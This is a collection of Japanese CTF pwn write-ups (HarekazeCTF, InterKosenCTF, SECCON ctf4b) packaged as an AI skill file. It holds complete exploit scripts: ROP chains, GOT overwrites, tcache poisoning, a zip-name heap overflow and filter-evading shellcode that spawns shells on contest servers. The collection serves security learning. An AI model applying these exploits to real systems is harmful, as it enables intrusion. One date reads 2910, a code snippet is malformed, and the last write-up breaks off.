Imported from firebitsbr/Writeups-claudeskills (
claudeskills/writeup-d3npa/SKILL.md). Install upstream withnpx skills add firebitsbr/Writeups-claudeskills --skill writeup-d3npa. Copyright stays with the author.
name: writeup-d3npa description: CTF writeups and security challenges by d3npa.
Writeups by d3npa
Source repository: /repos/d3npa
Repository Index
- writeups/unix/freebsd_kerneldev.md
- writeups/unix/hiding-from-cats.md
- writeups/unix/python-rust.md
- writeups/unix/ropping-note.md
- writeups/ctf/HarekazeCTF/babyrop.md
- writeups/ctf/HarekazeCTF/babyrop2.md
- writeups/ctf/InterKosenCTF/ziplist.md
- writeups/ctf/TJCTF-2019/Halcyon_Heap.md
- writeups/ctf/TJCTF-2019/Printf_Polyglot.md
- writeups/ctf/TJCTF-2019/Silly_Sledshop.md
- writeups/ctf/angstromCTF/chain_of_rope.md
- writeups/ctf/angstromCTF/server.md
- writeups/ctf/SECCON-ctf4b/Pwnable/babyheap.md
- writeups/ctf/SECCON-ctf4b/Pwnable/memo.md
- writeups/ctf/SECCON-ctf4b/Pwnable/oneline.md
- writeups/ctf/SECCON-ctf4b/Pwnable/shellcoder.md
Writeup Content
File: writeups/ctf/HarekazeCTF/babyrop.md
// date: 2910-05-20
はじめに
5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。
babyrop
プログラム解析
ncatで接続可能なアドレスとポート番号に、ELFバイナリを手に入れます。
まず、checksecを使い、ELFのセキュリティ機構を確認します。
babyropのセキュリティ機構
RELRO、スタックカナーリやPIEが無く、すっごく助かります (^^; これらのセキュリティ機構について、詳しくはこちらの記事をご参照ください。
次にradare2で開き、main関数の逆アセンブリを解析しましょう。
babyropの逆アセンブリ
結構簡単なプログラムですが、動作を言葉で説明すると、下記のような感じでしょうね
echoシェルコマンドの文字列をrdiに用意、systemを呼び出すのでメッセージを出力するscanfを使い、任意なサイズの入力をスタック変数(rbp-0x10)に読み込む- フォーマット形式と、
rbp-0x10(前の入力)をレジスタで指定、printfで入力を含めたメッセージを表示する
この問題の名前が「babyrop」なので、そしてスタックカナーリがないため、ROPが使うべきだとわかりますね。
それでは、ROPを使うのでsystem("/bin/sh");を実行することを目的としましょう。
シェル奪いの作戦
systemを呼び出せば、引数を正しく用意しないといけません。mainの逆アセンブリを参考とし、systemを呼び出した前に、シェルコマンド文字列へのポインターをediで指定したことがわかりますね。ちなみにediですが、この場合に一緒なので、rdiを使ってもOK。
したがって、ediあるいはrdiに値を指定するいわゆる「ROP Gadget」が必要となります。良かったことで、radare2にはそういうガジェットを発見するという機能がありますので、pop rdiのガジェットを探してもらいましょう。
babyrop_gadget
さすがradare2ですね!よって0x00400683には、pop rdi; retという命令が存在することがわかりました。
また、ポインターで指定できる"/bin/sh"の文字列を検索しましょうか。
babyrop_string
よし。0x601048には、"/bin/sh"という文字列が置いてあるようです。これで、「ROP Chain」の準備がやっとできました!
エクスプロイト作成
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep
pop_rdi = p64(0x400683)
addr_binsh = p64(0x601048)
call_system = p64(0x4005e3)
payload = "a" * 0x10 # バッファーを超える
payload += "b" * 8 # RBP
payload += pop_rdi # ガジェットに移動する
payload += addr_binsh # rdiにpopされる
payload += call_system # 関数の呼び出しに移動する
# sock = process(["./babyrop"])
sock = remote("problem.harekaze.com", 20001)
sock.readuntil("? ")
sock.sendline(payload)
sleep(1)
sock.interactive()
sock.close()
シェルを奪い!
babyrop_pwn
以上 HarekazeCTF-2019の「babyrop」のライトアップでした。
最後まで読んで頂き、ありがとうございました!
File: writeups/ctf/HarekazeCTF/babyrop2.md
// date: 2019-05-20
はじめに
5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。
「babyrop」のライトアップも投稿してありますので、ぜひ前に読んできてくださいね!
babyrop2
プログラム解析
「babyrop」のときと同じように、接続できるIPアドレスとポート番号、そしてELFバイナリが手に入れます。加えて、今度はlibc.so.6も渡されます。
いつもどおりに、checksecでセキュリティ機構を確認します。
babyrop2 checksec
今回も、RELRO、Stack、そしてPIEが無い。Nice! !(^-^)!
またradare2で開き、main関数の逆アセンブリを読んでいきましょう〜
babyrop2 disassembly
画像が小さすぎるのであれば右クリックし、Ctrlまた⌘キーを押しながら「画像を表示」で開いてください。
一般のユーザが実行すれば、「babyrop」の動作と何が違うか見極められないけど、逆アセンブリを読めばその違いがよくわかりますね。また言葉で説明してみます。
- 在bss領域文字列を
ediで指定、printfでメッセージを出力する readで、0x100バイトまで入力をスタック変数(rbp-0x20)に読み込む- フォーマット形式と
rbp-0x20を引数として用意、printfで前の入力を含めたメッセージを表示する
「babyrop」に比べると、大きいな違いがありますね!「babyrop」と違って、systemや/bin/shがプログラムに含められていないのです。なので、ROPを行えば、systemにジャンプするために、呼び出す前にそのlibc以内のアドレスを計算することが必要となります。
printfを使えば、GOT領域からある関数のlibcポインターをリークすることが出来るはずです。そうしたら、既に有しているlibc.so.6を使い、system関数とその関数の距離を計算することが出来ます。では、read関数を狙おうと思います。
ROPでprintfを呼び出せば、フォーマット形式をrdiにし、引数をrsiで示します。したがってpop rsiとpop rdiというガジェットが必要です。
babyrop2 gadgets
良き。
pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
【注意】
pop rsiの直後にpop r15という命令があるので気をつけてください。このガジェットを利用するときに、r15に保存されるための何かも必ず用意するように。
次にprintのPLTアドレスとreadのGOTポインターを取りましょう。
babyrop2 read@gots
plt_printf = p64(0x4004f0)
got_read = p64(0x601020)
これで、printfにジャンプすることが出来、利用した上、readのGOTポインターをリーク、libc以内アドレスを掴むための準備が出来ました。
いまから試してみましょう。
#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *
pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)
# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8 # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------
sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock.read()
sock.sendline(payload)
sock.readline()
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))
sock.close()
babyrop leak
よし、成功! (≧∇≦)/!!
なう、objdumpを使い、リークしたreadと、system関数のベース位置を把握、距離を計算します。
babyrop2 system
よってreadのアドレスから0xb1ec0を引いたらsystemのアドレスになります。
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))
addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))
最後のステップですが、計算したsystemのアドレスをどうやってプログラムに入力するのでしょうか、どうやって実行するのでしょうか?
いま、実行できるのはprintf、read、setvbufとmainだけです。この中から、任意ジャンプのために使えるものが2つ。どれなのかわかりますか?
→ printfとreadです!printfの場合、前みたいにFSBを発生させ、任意アドレスを上書きすることが可能です。そしてreadの場合、書き込み先のアドレスを引数として渡せばそれだけで任意書き込みができます。任意書き込みから任意ジャンプをどうやってするのかというなら、GOT領域のポインターを書き換え、繋がりの関数を呼び出すのが一つの方法です。
というわけで、次の作戦を考えました。readを利用し、read関数そのもののGOTポインターを上書きし、直後に文字列を同時に書き込むことにしようと思います。上書きの後、固定なGOT領域アドレスに保存した文字列をrdiレジスタにし、再びreadを呼び出すことでsystemを実行する、という作戦であります。
readのGOTアドレスが既にわかりますので、最後の要する情報が、readのPLTアドレスだけです。
babyrop2 read@plt
ようやく準備がすべて整えました!!\(^o^)/
エクスプロイト作成
#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *
pop_rdi = p64(0x400733)
pop_rsi = p64(0x400731)
got_read = p64(0x601020)
plt_printf = p64(0x4004f0)
str_format = p64(0x400770)
# ---- printf("%s", read@got) ----
payload = 'a' * 0x20
payload += 'b' * 8 # RBP
payload += pop_rdi + str_format
payload += pop_rsi + got_read + p64(0)
payload += plt_printf
# --------------------------------
call_read = p64(0x400500)
str_binsh = p64(0x601028) # got_readの直後
# ---- read(0, read@got, 0x100) ----
payload += pop_rdi + p64(0)
payload += pop_rsi + got_read + p64(0)
payload += call_read
# ----------------------------------
# ---- system("/bin/sh") -----------
payload += pop_rdi + str_binsh
payload += pop_rsi + p64(0) + p64(0)
payload += call_read
# ----------------------------------
# sock = process(["./babyrop2"], env={"LD_PRELOAD":"./libc.so.6"})
sock = remote("problem.harekaze.com", 20005)
sock.read()
print "[*] Payload size = %s" % hex(len(payload))
sock.sendline(payload)
sock.readline()
addr_read = u64(sock.readline()[-8:-2] + "\x00\x00")
print("[*] readの位置をリークしました: %s" % hex(addr_read))
addr_system = addr_read - 0xb1ec0
print("[*] systemの位置を計算しました: %s" % hex(addr_system))
sock.sendline(p64(addr_system) + "/bin/sh\x00")
sock.interactive()
sock.close()
実行してシェル奪い!
babyrop2 pwn
今回は長かったのですが、最後まで読んで頂き、ありがとうございました!
File: writeups/ctf/InterKosenCTF/ziplist.md
// date: 2019-03-25
はじめに
2019年の一月に、CTFチームの「NekoChanNano!」のメンバーとして#InterKosenCTF に参加させていただきました。今回は、経験少ないの私にとってかなり難しかった「ziplist」という問題(Pwn系、350点) の解き方を紹介していきたいと思います。
概要
チャレンジ・ページからソースコードをダウンロードすることが出来ます。手に入れる.tar.gzアーカイブファイルを解凍すれば、下記の二つのディレクトリが作られます。
./server、以下にflaskアプリケーションのソースコードとx86_64 ELFバイナリがあります。
./src、以下にx86_64 ELFバイナリのソースコード(C言語)が置いてあります。
flaskサーバーを起動し、localhost:9300/ をアクセスしてみましょう。
webpage
zipファイルをアップロード出来るようですね。バックエンドのソースコードを確認しましょう。
@app.route('/', methods=['GET', 'POST'])
def home():
result = ''
if 'upload' in request.files:
zipfile = request.files['upload']
filename = zipfile.filename
if filename != '':
upload_filename = "/tmp/uploads/" + ''.join(
[random.choice(string.ascii_letters) for i in range(16)]
) + ".zip"
zipfile.save(upload_filename)
result = commands.getoutput("timeout -sKILL 1s ./ziplist " + upload_filename)
try:
os.remove(upload_filename)
except OSError:
pass
result = base64.b64encode(.result)
return render_template('index.html', result=result)
ご覧通り、与えられるファイル にランダムの名前が付けられて保存され、次に実行されるELFプログラムに引数として渡されます。 さて、ELFのソースコードの解析を始めましょう!
ELFの解析
src/main.cのmain関数に脆弱性があります。ローカル変数のchar comment[64]がzip.cのzip_check_header()関数に渡され、zipのコメントのサイズに限らず書き込まれます。
char comment[64];
//...
// Check the zip structure
if (zip_check_header(fp, &footer, comment)) {
puts("Invalid zip format.");
return 1;
}
ですが、stack smashing protectionというセキュリティ機構が有効になっているため、スタック・フレームをそんな簡単に上書き出来ません。
stack smashing protection
セキュリティ機構について、詳しくはこちらのページをご確認ください。
CTFの時、この機構を迂回する方法があるのがまだ知らなく、自分で気付けるまで数時間かかりましたが、実は__stack_chk_fail関数のGOTポインターを上書きできるのです。そうすれば、main関数の終わりに書き込んだアドレスにジャンプするし、main関数内のRSP以降のスタック領域を好きに使えるようになります。
src/zip.cのzip_get_entries関数にもう一つの脆弱性があります。zipのfooterを読み込む前にmallocによってヒープ領域を確保します:
// Initialize
*entry = (CentralDirectoryFileHeader**)malloc(sizeof(CentralDirectoryFileHeader*) * footer->total_entries);
for(i = 0; i < footer->total_entries; i++) {
(*entry)[i] = (CentralDirectoryFileHeader*)malloc(sizeof(CentralDirectoryFileHeader) - sizeof(char*));
(*entry)[i]->filename = (char*)malloc(64);
}
メモリーを確保した後だけに、ZIPの中身のファイルの情報を取得して書き込むのです。
// Read all entries
for(i = 0; i < footer->total_entries; i++) {
fread((*entry)[i], sizeof(CentralDirectoryFileHeader) - sizeof(char*), 1, fp);
// Check signature
if ((*entry)[i]->signature != MAGIC_CENTRAL_DIRECTORY_FILE_HEADER) {
return 1;
}
// Read filename
fread((*entry)[i]->filename, 1, (*entry)[i]->length_filename, fp);
fseek(fp, (*entry)[i]->length_extra + (*entry)[i]->length_comment, SEEK_CUR);
}
そして上記に使用される CentralDirectoryFileHeader はこちらです:
typedef struct __attribute__((packed)) {
uint32_t signature;
uint16_t version;
uint16_t version_needed;
uint16_t flags;
uint16_t compression_method;
uint16_t modification_time;
uint16_t modification_date;
uint32_t crc32;
uint32_t compressed_size;
uint32_t uncompressed_size;
uint16_t length_filename;
uint16_t length_extra;
uint16_t length_comment;
uint16_t disk_start;
uint16_t internal_attr;
uint32_t external_attr;
uint32_t header_offset;
char *filename;
} CentralDirectoryFileHeader;
zipの中身にあるファイル数が2つ以上である場合、ヒープ領域がこういう形になるでしょう:
----------------------------------
[ Heap Frame ] ---+
[ CentralDirectoryFileHeader (48 bytes) ] |
// Including char *filename (8 bytes) at the end |
[ Heap Frame ] +-- 1ファイル目
---------------------------------- |
[ Heap Frame ] |
[ File Name (64 bytes) ] |
[ Heap Frame ] ---+
----------------------------------
[ Heap Frame ] ---+
[ CentralDirectoryFileHeader (48 bytes) ] |
// Including char *filename (8 bytes) at the end |
[ Heap Frame ] +-- 2ファイル目
---------------------------------- |
[ Heap Frame ] |
[ File Name (64 bytes) ] |
[ Heap Frame ] ---+
----------------------------------
...
というわけで、第一ファイルの名前が64バイト以上であれば、その名前を保存するだめのメモリ範囲を超えてしまい、次のファイルの情報にオーバーフローします。もしその影響で次の CentralFileDirectoryHeader 仕組みの char *filename が上書きされるとなれば、次のファイル情報を書き込む際、新しいポインターを使用してしまい、任意書き込み脆弱性になります。
いざエクスプロイト!
#!/bin/sh
rm -rf work/
mkdir work/
cd work/
# ASLRが有効されてるため、実行する際に標準関数system()のアドレスが毎度変わってしまうため狙えません。
# PWN_BINSH1="`python2 -c 'print "b"*126 + "\x20\x20\x60\xaa\xaa\xaa\xaa\xaa"+"c"*90+"cat \xbbhome\xbbpwn\xbbflag\xaa"'`" # freadのポインターを上書き
# PWN_BINSH2="`python2 -c 'print "\x80\x73\xe2\xf7\xff\x7f\xaa\xaa"'`" # system関数のアドレス
# 0x602030に存在するstack protectorポインターを再宣伝して、JOP gadgetに移動する。それからgadgetによって 0x400c8f にあるデータをRDIにコピーします。
PWN_STACKPROTECTOR1="`python2 -c 'print "a"*126 + "\x30\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # stack protector @ GOT
PWN_STACKPROTECTOR2="`python2 -c 'print "\x8f\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfile()に存在する pop RDI -> pop ESI -> call perror
# perrorのGOTポインターを再宣言して、readfileの先頭アドレスへジャンプする。
PWN_PERROR_TO_READFILE1="`python2 -c 'print "b"*126 + "\x68\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # perror@GOT
PWN_PERROR_TO_READFILE2="`python2 -c 'print "\x53\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfileの先頭アドレス
# readfile関数に渡す第一引数「data」をGOT領域に保存して置く。
PWN_STRING_AFTER_EXIT1="`python2 -c 'print "c"*126 + "\x78\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # exit@GOTの後
PWN_STRING_AFTER_EXIT2="`python2 -c 'print "\xbbhome\xbbpwn\xbbflag"'`" # readfileの第一引数
echo 'neko' > "$PWN_STACKPROTECTOR1"
echo 'chan' > "$PWN_STACKPROTECTOR2"
echo 'neko' > "$PWN_STRING_AFTER_EXIT1"
echo 'chan' > "$PWN_STRING_AFTER_EXIT2"
echo 'neko' > "$PWN_PERROR_TO_READFILE1"
echo 'chan' > "$PWN_PERROR_TO_READFILE2"
echo 'nekochannano' > nekochannano
# main関数のローカル変数 char *comment[64] に書き込まれるZIPコメントにGOT領域に保存して置いた文字列のポインターを入れて置きます。
python2 -c 'print "難し過ぎるわ" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"*2 + "AB\x78\x20\x60\xaa\xaa\xaa\xaa\xaaA"' | zip -z winners.zip \
"$PWN_STACKPROTECTOR1" \
"$PWN_STACKPROTECTOR2" \
"$PWN_PERROR_TO_READFILE1" \
"$PWN_PERROR_TO_READFILE2" \
"$PWN_STRING_AFTER_EXIT1" \
"$PWN_STRING_AFTER_EXIT2" \
nekochannano \
# sedでzipコマンドで使えないヌール文字を変換します。
sed -i -s 's/\xaa/\x00/g' winners.zip
sed -i -s 's/\xbb/\//g' winners.zip
結果
最後に、生成したzipアーカイブをウェブサーバーにアップロードすると、、!
response
flag.png
以上 #InterKosenCTF の Pwn問題「ziplist」の解答方法でした。
File: writeups/ctf/SECCON-ctf4b/Pwnable/babyheap.md
はじめに
2019年5月25日〜26日、Szarnyさんと一緒SECCONのCTF For Beginners (ctf4b)に参加し、最後に二人のチームが2707ポイントを集め、666チームが参加する中26位で終わりました。
CTFをやったときに解けませんでしたが、勉強になりましたので、今回、「babyheap」という問題の解法を紹介していきます。
babyheap
「babyheap」という名前のELFバイナリと「libc-2.27.so」が手に入れます。
$ checksec babyheap
[*] '/ctf/SECCON2019-ctf4b/Pwnable/BabyHeap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$
やんや〜PIEにFull RELROも有効。とりあえずプログラムを実行してみましょう。
$ LD_PRELOAD=./libc-2.27.so ./babyheap
Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f8aff64ca00 <<<<<
MENU
1. Alloc
2. Delete
3. Wipe
4. Exit
>
Heap系問題のようですね。radare2で解析すると、教えてくれてるプレゼントがlibcの_IO_2_1_stdin_だとわかります。助かりましたね!これで自分でリークするのが不要。
| 0x000009b5 488b05741620. mov rax, qword [obj.stdin]
| 0x000009bc 4889c6 mov rsi, rax
| 0x000009bf 488d3df20100. lea rdi, str.Welcome_to_babyheap_challenge___Present_for_you___________p
要するに、今まで知ってることは以下の3つ:
- これがHeap系の問題
- 何もしなくてlibcのアドレスを既に把握しています
- libcのバージョンが2.27だから、tcacheが使えます
さてexploitスクリプトのベースを作りましょう。とりあえずラッパー関数を作成していきます。
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
libc = ELF("./libc-2.27.so")
p = process(["./babyheap"], env={"LD_PRELOAD" : libc.path})
# 1 = malloc(0x30)
# 2 = ヌル化せずにfree
# 3 = ヌル化(だがfreeはしない)
# 0 = プログラム終了
def alloc(data):
p.sendlineafter("> ", "3") # allocする前にポインタのヌル化が必要。
p.sendlineafter("> ", "1")
p.sendlineafter(":", str(data))
def free():
p.sendlineafter("> ", "2")
# プレゼントを読み込み、libcの先頭アドレスを計算する。
p.readuntil(">>>>> ")
leak_stdin = int(p.read(14), 16)
libc_base = leak_stdin - libc.symbols["_IO_2_1_stdin_"]
print("[*] libcのアドレス:%s" % hex(libc_base))
このプログラムをエクスプロイトして、one-gadgetでシェルを奪うことを目的としましょう。
「tcache poisoning」という攻撃を行えば、任意書き込みが出来、__free_hookをone-gadgetのアドレスに書き換えれば、またfree()するとジャンプしてくれるはずです。
addr___free_hook = libc_base + libc.symbols["__free_hook"]
addr_one_gadget = libc_base + 0x4f322
# 二度解放(Double Free)攻撃を行う
alloc("") # α領域
free() # tcache: [α領域, 0x00]
free() # tcache: [α領域, α領域, 0x00]
alloc(p64(addr___free_hook)) # tcache: [α領域, __free_hook, ???]
alloc("") # tcache: [__free_hook, ???]
# 次は__free_hookの位置が返ってきます
alloc(p64(addr_one_gadget)) # tcache: [???]
free()
p.interactive()
p.close()
$ ./exploit.py
[*] '/ctf/SECCON2019-ctf4b/Pwnable/BabyHeap/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './babyheap': pid 9530
[*] libcのアドレス:0x7fcad323d000
[*] Switching to interactive mode
$ cat flag.txt
ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}
$
以上 babyheap の解法でした。最後まで読んで頂き、ありがとうございました!
File: writeups/ctf/SECCON-ctf4b/Pwnable/memo.md
はじめに
2019年5月25日〜26日、Szarnyさんと一緒SECCONのCTF For Beginners (ctf4b)に参加し、最後に二人のチームが2707ポイントを集め、666チームが参加する中26位で終わりました。
今回、解けた問題「memo」の解法を紹介していきます。
memo
いつもどおりにセキュリティ機構の有無を確認します。
$ checksec memo
[*] '/ctf/SECCON2019-ctf4b/take2/Pwnable/memo/memo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
radare2で解析を始めましょう。関数一覧を出したら、謎の関数がありました。
/ (fcn) sym.hidden 26
| sym.hidden ();
| 0x004007bd 55 push rbp
| 0x004007be 4889e5 mov rbp, rsp
| 0x004007c1 488d3dce0000. lea rdi, [0x00400896]
| 0x004007c8 e8c3fdffff call sym.imp.system
| 0x004007cd bf00000000 mov edi, 0
\ 0x004007d2 e8f9fdffff call sym.imp.exit
簡単に言うとsystem("/bin/sh"); exit(0);とする関数ですね。というわけでこれを実行すれば勝ち。
メインプログラムの動作を言葉でまとめますが、実行すると入力サイズを求め、0x1f(31)であることをチェックします。合格の場合、サイズがラウンディングされ、その結果をrspから引き、最後の結果を読み込み先としてfgetsを呼び出します。一応に適当なサイズを与えて、rsp以下なら任意書き込みができますが、もし負数を与えるとしたら、rspから引かれて、rsp以上のアドレスも書き込むことが可能になります!
gdbでプログラムを実行し、引き算の前にブレークポイントを入れてrspの値を確認しましょう。
pwndbg> b *0x000000000040075f
Breakpoint 1 at 0x40075f
pwndbg> r
Starting program: /ctf/SECCON2019-ctf4b/take2/Pwnable/memo/memo
Input size : -1
Breakpoint 1, 0x000000000040075f in main ()
...
RBP 0x7fffffffe440 —▸ 0x4007e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe3f0 ◂— 0xa312d /* '-1\n' */
...
pwndbg> p $rbp-$rsp
$1 = 80
ラウンディング数式が自分にはちょっとわかりにくいけど、とにかく-0x60(-96)の値を渡すと$raxが-80になり、更に$rspから引くと$rsp == $rbpとなる。すなわち、サイズを-96に指定すれば、fgetsの読み込み先がスタックの$rbpに移動され、8バイト後リターンポインタを上書きすることが出来ます。
#!/usr/bin/env python2
from pwn import *
SERVER = True
if SERVER:
p = remote("133.242.68.223", 35285)
else:
p = process("./memo")
p.sendlineafter(": ", "-96") # -0x60
p.sendlineafter(": ", p64(0x0) + p64(0x004007c1)) # @sym.hidden + 0x4
p.interactive()
p.close()
$ ./exploit.py
[+] Opening connection to 133.242.68.223 on port 35285: Done
[*] Switching to interactive mode
Your Content : 1�I��^H\x89�H���PTI��@
$ cat flag.txt
ctf4b{h4ckn3y3d_574ck_b0f}
$
以上 memo の解法でした。読んで頂き、ありがとうございました!
File: writeups/ctf/SECCON-ctf4b/Pwnable/oneline.md
はじめに
2019年5月25日〜26日、Szarnyさんと一緒SECCONのCTF For Beginners (ctf4b)に参加し、最後に二人のチームが2707ポイントを集め、666参加チームの中26位で終わりました。
以下、解けた問題「oneline」の解法を紹介していきます。
oneline
ELFバイナリとlibc-2.27.soが丁寧に渡されます。
$ checksec oneline
[*] '/ctf/SECCON2019-ctf4b/take2/Pwnable/OneLine/oneline'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
$
PIEが有効になってるのは面倒臭そう、、だと思ったら、実行すると謎の文字化けが
$ ./oneline
You can input text here!
>> neko
neko
@q:e�Once more again!
>> chan
chan
$
逆アセンブリを参考すれば文字化けの原因が明確となります。
...
| 0x00000888 488b45f8 mov rax, qword [buf]
| 0x0000088c 488b15450720. mov rdx, qword [reloc.write]
| 0x00000893 48895020 mov qword [rax + 0x20], rdx
...
| 0x000008be 488b45f8 mov rax, qword [buf]
| 0x000008c2 488b4020 mov rax, qword [rax + 0x20]
| 0x000008c6 488b4df8 mov rcx, qword [buf]
| 0x000008ca ba28000000 mov edx, 0x28
| 0x000008cf 4889ce mov rsi, rcx
| 0x000008d2 bf01000000 mov edi, 1
| 0x000008d7 ffd0 call rax
...
一回メッセージを出力したところに、バッファーの直後に置いてあるwrite関数のアドレスがリークされてしまうようです。
リークを一度させ、libcのアドレスを計算してポインタをone-gadgetに書き換えれば良さそうです。
#!/usr/bin/env python2
from pwn import *
e = ELF("./oneline")
libc = ELF("./libc-2.27.so")
addr_onegadget = 0x10a38c
SERVER = True
if SERVER:
p = remote("153.120.129.186", 10000)
else:
p = e.process(env={"LD_PRELOAD" : libc.path})
padding = ("NekochanNano!" + " "*0x20)[:0x1f]
p.sendlineafter("> ", padding)
p.readuntil("\n")
addr_write = u64(p.read(8))
addr_libc = addr_write - libc.symbols["write"]
addr_onegadget += addr_libc
print "[*] Address of libc = %s" % hex(addr_libc)
print "[*] Address of onegadget = %s" % hex(addr_onegadget)
p.sendlineafter("> ", padding + "\n" + p64(addr_onegadget))
p.interactive()
p.close()
$ ./exploit.py
[*] '/ctf/SECCON2019-ctf4b/take2/Pwnable/OneLine/oneline'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/SECCON2019-ctf4b/take2/Pwnable/OneLine/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 153.120.129.186 on port 10000: Done
[*] Address of libc = 0x7f5f11d2e000
[*] Address of onegadget = 0x7f5f11e3838c
[*] Switching to interactive mode
$ id
uid=30749 gid=30000(oneline) groups=30000(oneline)
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
$
ctf4b{0v3rwr!t3_Func7!on_p0int3r}というフラグが得られます。
以上 oneline の解法でした。読んで頂き、ありがとうございました!
File: writeups/ctf/SECCON-ctf4b/Pwnable/shellcoder.md
はじめに
2019年5月25日〜26日、Szarnyさんと一緒SECCONのCTF For Beginners (ctf4b)に参加し、最後に二人のチームが2707ポイントを集め、666参加チームの中26位で終わりました。
以下、解けた問題「shellcoder」の解法を紹介していきます。
shellcoder
$ checksec ./shellcoder
[*] '/ctf/SECCON2019-ctf4b/take2/Pwnable/shellcoder/shellcoder'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
radare2で逆アセンブリを読むと、プログラムの動作がわかりました。
単にシェルコードを求めるプログラムです。ただし、['b', 'i', 'n', 's', 'h']という文字が入っていると実行せずに終了されてしまう。このように:
$ ndisasm -b 64 shellcode
00000000 4831C0 xor rax,rax
00000003 4831F6 xor rsi,rsi
00000006 99 cdq
00000007 48BF2F2F62696E2F mov rdi,0x68732f6e69622f2f
-7368
00000011 50 push rax
00000012 57 push rdi
00000013 4889E7 mov rdi,rsp
00000016 B03B mov al,0x3b
00000018 0F05 syscall
$
$ (cat shellcode; cat) | ./shellcoder
Are you shellcoder?
Payload contains invalid character!!
$
というわけで、禁止文字を含まないシェルコードならば良さそうです。例えばコマンド文字列が否定演算で隠されたシェルコード:
$ ndisasm -b 64 shellcode
00000000 4831C0 xor rax,rax
00000003 4831F6 xor rsi,rsi
00000006 99 cdq
00000007 48BFD09D9691D08C mov rdi,0xff978cd091969dd0
-97FF
00000011 48F7D7 not rdi
00000014 50 push rax
00000015 57 push rdi
00000016 4889E7 mov rdi,rsp
00000019 B03B mov al,0x3b
0000001B 0F05 syscall
$
$ (cat shellcode; cat) | ./shellcoder
Are you shellcoder?
id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
^C
$
#!/usr/bin/env python2
from pwn import *
p = remote("153.120.129.186", 20000)
shellcode = "\x48\x31\xc0\x48\x31\xf6\x99\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd7\x50\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
p.sendlineafter("\n", shellcode)
p.interactive()
p.close()
$ ./exploit.py
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
$ id
uid=40968 gid=40000(shellcoder) groups=40000(shellcoder)
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
$
[*] Closed connection to 153.120.129.186 port 20000
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}というフラグを手に入れます。
以上 shellcoder の解法でした。読んで頂き、ありがとうございました!
File: writeups/ctf/TJCTF-2019/Halcyon_Heap.md
// date: 2019-07-06
はじめに
writeupを書のは久しぶりですね。実は今月引っ越す予定なので、その準備でCTFをやる時間がなかなか取れなかったのです。さて今回は、@megumishさんが開催しているHacker Hourで解けた、TJCTFで出てたヒープ系の問題「Halcyon Heap」の解法を紹介します。
問題概要
問題のページから「halcyon_heap」と「libc.so.6」をダウンロードしました。
libc-2.23.soの様です。とりあえずhalcyon_heapのセキュリティ機構を確認しましょう。
$ sha256sum halcyon_heap libc.so.6
d87f3952b7283e14cb5507d52436f8ee9af762a89edf2d9d9b8a805132ec2d2a halcyon_heap
74ca69ada4429ae5fce87f7e3addb56f1b53964599e8526244fecd164b3c4b44 libc.so.6
$ checksec halcyon_heap
[*] '/ctf/TJCTF2019/Binary/Halcyon_Heap/tmp/halcyon_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$
そしてプログラムを実行したらこんな感じです:
$ LD_PRELOAD=./libc.so.6 ./halcyon_heap
Welcome to Halcyon Heap!
1. Sice a deet
2. Observe a deet
3. Brutally destroy a deet
4. Exit
> 1
Enter the size of your deet:
> 64
Enter your deet:
> NekochanNano!
Done!
Welcome to Halcyon Heap!
1. Sice a deet
2. Observe a deet
3. Brutally destroy a deet
4. Exit
>
